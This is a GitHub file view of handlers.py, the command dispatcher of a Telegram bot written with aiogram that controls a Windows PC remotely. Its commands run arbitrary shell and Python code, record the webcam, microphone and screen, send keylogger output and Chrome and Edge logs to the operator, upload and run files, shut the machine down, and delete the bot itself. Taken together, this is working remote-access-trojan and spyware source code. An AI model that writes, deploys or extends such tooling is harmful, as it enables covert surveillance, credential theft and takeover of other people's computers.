-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathhandlers.py
More file actions
295 lines (233 loc) · 11.3 KB
/
handlers.py
File metadata and controls
295 lines (233 loc) · 11.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
import logging
from commands import *
from aiogram import Bot
import asyncio
from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup
from aiogram.types import Message, FSInputFile, CallbackQuery
from aiogram.fsm.context import FSMContext
from states import *
from state_handlers import handle_states
from utils import send_safe_message, send_safe_document, send_file_and_cleanup
def build_keyboard(page_number=0):
keyboard_buttons = []
for text, callback in HOTKEY_PAGES[page_number]:
keyboard_buttons.append([InlineKeyboardButton(text=text, callback_data=callback)])
return InlineKeyboardMarkup(inline_keyboard=keyboard_buttons)
async def handle_hotkey_callback(callback: CallbackQuery, bot: Bot):
data = callback.data
if data.startswith("page_"):
page_number = int(data.split("_")[1])
await callback.message.edit_text(
"🖥️ <b>Горячие клавиши Windows</b>\n\n"
"Нажмите на нужную комбинацию для выполнения:",
reply_markup=build_keyboard(page_number),
parse_mode="HTML"
)
await callback.answer()
return
try:
result = execute_hotkey(data)
await callback.answer(result, show_alert=False)
await callback.message.edit_text(
f"🖥️ <b>Горячие клавиши Windows</b>\n\n"
f"✅ Выполнено: <code>{data}</code>\n\n"
f"Нажмите на другую комбинацию для выполнения:",
reply_markup=build_keyboard(0),
parse_mode="HTML"
)
except Exception as e:
await callback.answer(f"❌ Ошибка: {e}", show_alert=True)
async def handle_message(message: Message, bot: Bot, state: FSMContext):
chat_id = message.chat.id
if not checkchat_id(chat_id):
return
# Проверяем состояние перед обработкой файлов
current_state = await state.get_state()
# Обработка документов
if message.document:
try:
if current_state == DownloadFile.waiting_for_file.state:
file_id = message.document.file_id
file_name = message.document.file_name
save_path = os.path.join(SCRIPTS_DIR, file_name)
file = await bot.get_file(file_id)
await bot.download_file(file.file_path, save_path)
await bot.send_message(chat_id, f"✅ Файл {file_name} успешно сохранён в {save_path}")
await state.clear()
return
file_id = message.document.file_id
file_name = message.document.file_name
save_path = os.path.join(SCRIPTS_DIR, file_name)
file = await bot.get_file(file_id)
await bot.download_file(file.file_path, save_path)
await bot.send_message(chat_id, f"Файл {file_name} успешно сохранён!")
except Exception as e:
logging.error(f"Ошибка скачивания файла: {e}")
await bot.send_message(chat_id, f"Ошибка: {e}")
return
# Обработка фото
if message.photo:
try:
if current_state == ClickImage.waiting_for_photo.state:
photo = message.photo[-1]
file_id = photo.file_id
save_path = os.path.join(SCRIPTS_DIR, 'CLICK.png')
file = await bot.get_file(file_id)
await bot.download_file(file.file_path, save_path)
result = click_image()
await bot.send_message(chat_id, result)
await state.clear()
return
except Exception as e:
logging.error(f"Ошибка скачивания фото: {e}")
await bot.send_message(chat_id, f"❌ Ошибка сохранения фото: {e}")
return
if not message.text:
return
command = message.text.strip()
response = ''
# Обработка состояний
state_handled = await handle_states(message, bot, state, command)
if state_handled:
return
# Обычные команды
try:
if command == '/start':
response = get_start_message()
elif command == '/click_image':
await state.set_state(ClickImage.waiting_for_photo)
response = '🖼️ Отправьте фото с изображением, на которое нужно кликнуть:'
elif command == '/ping':
response = ping()
elif command == '/pc_info':
response = get_pc_info()
elif command == '/clipboard_get':
response = get_clipboard_text()
elif command == '/mic_record':
await state.set_state(MicRecord.waiting_for_seconds)
response = 'На сколько секунд записать звук? (макс 300):'
elif command == '/processes':
response = get_processes()
elif command == '/kill':
await state.set_state(KillProcess.waiting_for_pid)
response = 'Введите PID процесса, который нужно завершить:'
elif command == '/beep':
response = beep_sound()
elif command == '/drives':
response = get_drives()
elif command == '/webcam_record':
await state.set_state(WebcamRecord.waiting_for_seconds)
response = '🎥 На сколько секунд записать видео с веб-камеры? (макс 60):'
elif command == '/close_tabs':
response = close_all_tabs()
elif command == '/hot_keys':
await bot.send_message(
chat_id,
"🖥️ <b>Горячие клавиши Windows</b>\n\n"
"Нажмите на нужную комбинацию для выполнения:",
reply_markup=build_keyboard(0),
parse_mode="HTML"
)
return
elif command == '/ip_info':
info = get_ip_info()
await bot.send_location(chat_id, *info['location'])
response = info['text']
elif command == '/cmd_exec':
await state.set_state(CmdExec.waiting_for_command)
response = '💻 Введите команду для выполнения:'
elif command == '/python_exec':
await state.set_state(PythonExec.waiting_for_code)
response = '🐍 Введите Python код для выполнения:'
elif command == '/capture_pc':
path, response = capture_pc()
await send_file_and_cleanup(bot, chat_id, path)
response = None
elif command == '/video_pc':
await state.set_state(VideoPc.waiting_for_seconds)
response = '🎥 На сколько секунд записать видео? (макс 500):'
elif command == '/capture_webcam':
path = capture_webcam()
if path:
await send_file_and_cleanup(bot, chat_id, path)
else:
response = '❌ Ошибка захвата с камеры'
elif command == '/msg_box':
await state.set_state(MsgBox.waiting_for_text)
response = '💬 Введите текст сообщения:'
elif command == '/message_write':
await state.set_state(MessageWrite.waiting_for_text)
response = '✏️ Введите текст для ввода:'
elif command == '/move_mouse_coord':
await state.set_state(MoveMouseCoord.waiting_for_coords)
response = '🎯 Введите координаты x y (например: 500 300):'
elif command == '/move_mouse':
await state.set_state(MoveMouseDirection.waiting_for_direction)
response = '🧭 Введите направление (левее/правее/выше/ниже):'
elif command == '/click_left_mouse':
response = click_left_mouse()
elif command == '/click_right_mouse':
response = click_right_mouse()
elif command == '/double_click':
response = double_click_left()
elif command == '/download':
await state.set_state(Download.waiting_for_path)
response = '📥 Введите путь к файлу на компьютере:'
elif command == '/clipboard_set':
await state.set_state(ClipboardSet.waiting_for_text)
response = '📋 Введите текст, который нужно скопировать в буфер обмена:'
elif command == '/download_file':
await state.set_state(DownloadFile.waiting_for_file)
response = '📁 Отправьте файл, который хотите сохранить на компьютере:'
elif command == '/run':
await state.set_state(Run.waiting_for_path)
response = '🚀 Введите путь к файлу для запуска:'
elif command == '/wallpaper':
await state.set_state(Wallpaper.waiting_for_path)
response = '🖼️ Введите путь к файлу или URL картинки:'
elif command == '/ls':
await state.set_state(Ls.waiting_for_path)
response = '📁 Введите путь к папке (Enter - текущая):'
elif command == '/open_browser':
await state.set_state(OpenBrowser.waiting_for_url)
response = '🌐 Введите URL:'
elif command == '/shutdown':
response = shutdown()
elif command == '/reboot':
response = reboot()
elif command == '/keylogs':
await send_safe_document(bot, chat_id, KEYLOG_FILE)
get_keylog_file()
response = None
elif command == '/user_log':
await send_safe_document(bot, chat_id, LOG_FILE)
get_user_log_file()
response = None
elif command == '/chrome_log':
result = get_browser_log(browser='chrome')
if result and os.path.exists(result):
await send_safe_document(bot, chat_id, result)
os.remove(result)
else:
response = result
elif command == '/edge_log':
result = get_browser_log(browser='edge')
if result and os.path.exists(result):
await send_safe_document(bot, chat_id, result)
os.remove(result)
else:
response = result
elif command == '/self_destruct':
response = confirm_self_destruct()
elif command == '/destroy':
response = remove_bot()
await send_safe_message(bot, chat_id, response)
await asyncio.sleep(1)
os._exit(0)
elif command == '/create_more_folders':
await state.set_state(CreateMoreFolders.waiting_for_count)
response = '📂 Введите количество папок:'
except Exception as e:
response = f'⚠️ Ошибка: {e}'
if response:
await send_safe_message(bot, chat_id, response)